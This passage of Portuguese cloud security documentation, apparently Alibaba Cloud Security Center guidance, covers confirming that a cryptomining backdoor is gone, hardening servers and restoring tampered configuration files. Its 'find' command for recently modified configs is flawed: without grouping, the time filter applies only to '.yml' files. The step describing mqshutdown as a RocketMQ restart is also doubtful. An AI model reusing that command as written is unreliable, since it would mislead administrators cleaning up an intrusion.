Monitore o desempenho: Acompanhe continuamente a utilização de CPU do servidor para confirmar que os níveis voltaram ao normal.
Verifique com varreduras periódicas: Uma única varredura aprovada não garante a remoção total do backdoor. Alguns backdoors de mineração residuais são reimplantados por uma tarefa agendada ou um processo daemon após a limpeza inicial. Configure uma tarefa recorrente de Antivirus ou Agentless Detection no Security Center e continue observando vários ciclos consecutivos de varredura após a limpeza. Confirme a remoção do backdoor somente após todos os ciclos desse período não reportarem alertas relacionados à criptomineração.
Verifique monitorando alertas: Continue verificando a página Detection and Response > Security Events no Security Center em busca de alertas de criptomineração, processos maliciosos e persistência. Se nenhum alerta desse tipo ocorrer por algum tempo após a limpeza, o backdoor não foi reativado. Caso o mesmo tipo de alerta reapareça, um mecanismo de persistência como uma tarefa agendada, um item de inicialização ou uma chave pública SSH ainda pode estar presente. Nesse caso, retorne às etapas de limpeza manual para investigar mais a fundo.
Verifique as vulnerabilidades relacionadas: Programas de criptomineração geralmente são instalados por meio de vulnerabilidades no sistema ou em aplicativos. Se o ponto de entrada da invasão não for corrigido, o servidor poderá ser reinfectado após a limpeza. Use o recurso de varredura de vulnerabilidades no Security Center para confirmar que a vulnerabilidade explorada nesta invasão foi corrigida, impedindo que o programa de criptomineração seja reinstalado após a remoção do backdoor.
Trate alertas com caminho de arquivo inexistente: Se o caminho do arquivo especificado em um e-mail de alerta não existir no servidor e a carga da CPU estiver normal, você pode marcar o alerta como Ignore ou Handled na lista de eventos de segurança. Faça login no console do Security Center, escolha Detection and Response > Security Events, localize o alerta e selecione Ignore ou Handled na coluna Actions. Após concluir a operação, verifique se novos alertas foram gerados. Se nenhum novo alerta aparecer, ignore o alerta com segurança.
Reforço de segurança
Ative a defesa proativa contra comportamentos maliciosos do host: O recurso de defesa proativa do Security Center intercepta programas de criptomineração com precisão, prevenindo incidentes antes que ocorram. Para mais informações, consulte Proactive Defense.
-
Reforce o controle de acesso:
Aplique o princípio do menor privilégio aos grupos de segurança: Configure o grupo de segurança do ECS para abrir apenas as portas de negócio necessárias (como 80 e 443). Para portas de gerenciamento como SSH (22) e RDP (3389), garanta que estejam abertas apenas para endereços IP fixos e confiáveis (como a rede do seu escritório ou o IP de um bastion host).
Política de senhas: Configure senhas fortes para sistemas de banco de dados ou arquivos (MySQL, PolarDB, MaxCompute, Redis, NAS, OSS), consoles de gerenciamento de serviços (como BT-Panel, Nacos) e contas de usuário do sistema operacional (SSH, RDP). Limite o número de tentativas de senha incorretas para evitar invasões por força bruta.
-
Gerenciamento de vulnerabilidades e patches:
Atualize prontamente: Aplique regularmente os patches de segurança mais recentes no seu sistema operacional e softwares de aplicação (como servidores web e bancos de dados).
Varredura de vulnerabilidades: Use o recurso de varredura de vulnerabilidades no Security Center para descobrir e corrigir proativamente vulnerabilidades no seu sistema e aplicativos.
Reforce a segurança do aplicativo: Antes de implantar o código de negócio, execute testes de segurança de código ou integre com um Web Application Firewall para se defender contra ataques comuns da OWASP, como injeção de SQL, XSS, vulnerabilidades comuns em plugins de servidores web, uploads de Trojans e acesso não autorizado a recursos principais. Isso ajuda a evitar o comprometimento do sistema por meio de vulnerabilidades do aplicativo.
Segurança de credenciais: Evite codificar Alibaba Cloud AccessKeys diretamente no seu código ou arquivos de configuração. Use funções do RAM ou funções RAM de instância para conceder permissões aos aplicativos, seguindo o princípio do menor privilégio. Para mais informações, consulte Securely use credentials.
-
Recupere arquivos de configuração de aplicativo adulterados: Além de consumir recursos de CPU, um programa de criptomineração pode adulterar arquivos de configuração de aplicativos no servidor, como arquivos
.propertiesdo RocketMQ ou arquivos.confdo Nginx, causando anomalias no serviço ou instalando um backdoor persistente.-
Encontre arquivos de configuração modificados recentemente: Execute o seguinte comando para localizar arquivos de configuração modificados recentemente. Pesquise por múltiplas extensões, não apenas
.conf, pois aplicativos como o RocketMQ usam o formato.properties.find / -name '*.conf' -o -name '*.properties' -o -name '*.xml' -o -name '*.yml' -mtime -3NotaNão pesquise apenas por arquivos
.conf. Aplicativos como o RocketMQ usam arquivos de configuração no formato.properties, e pesquisar apenas por.confnão os encontrará. Crie um backup de snapshot: Antes de restaurar qualquer arquivo de configuração, crie um backup de snapshot da instância ECS, pois uma configuração incorreta pode impedir a inicialização do aplicativo. Para mais informações, consulte Create a snapshot for a disk.
Restaure os arquivos de configuração: Restaure os arquivos de configuração adulterados a partir do snapshot ou de outro backup confiável e verifique se o conteúdo do arquivo foi restaurado para a configuração original.
Reinicie o serviço e verifique: Após a restauração, reinicie o serviço afetado (por exemplo, execute
mqshutdownoumqshutdownsrvpara reiniciar o RocketMQ) e verifique se o serviço funciona normalmente.
-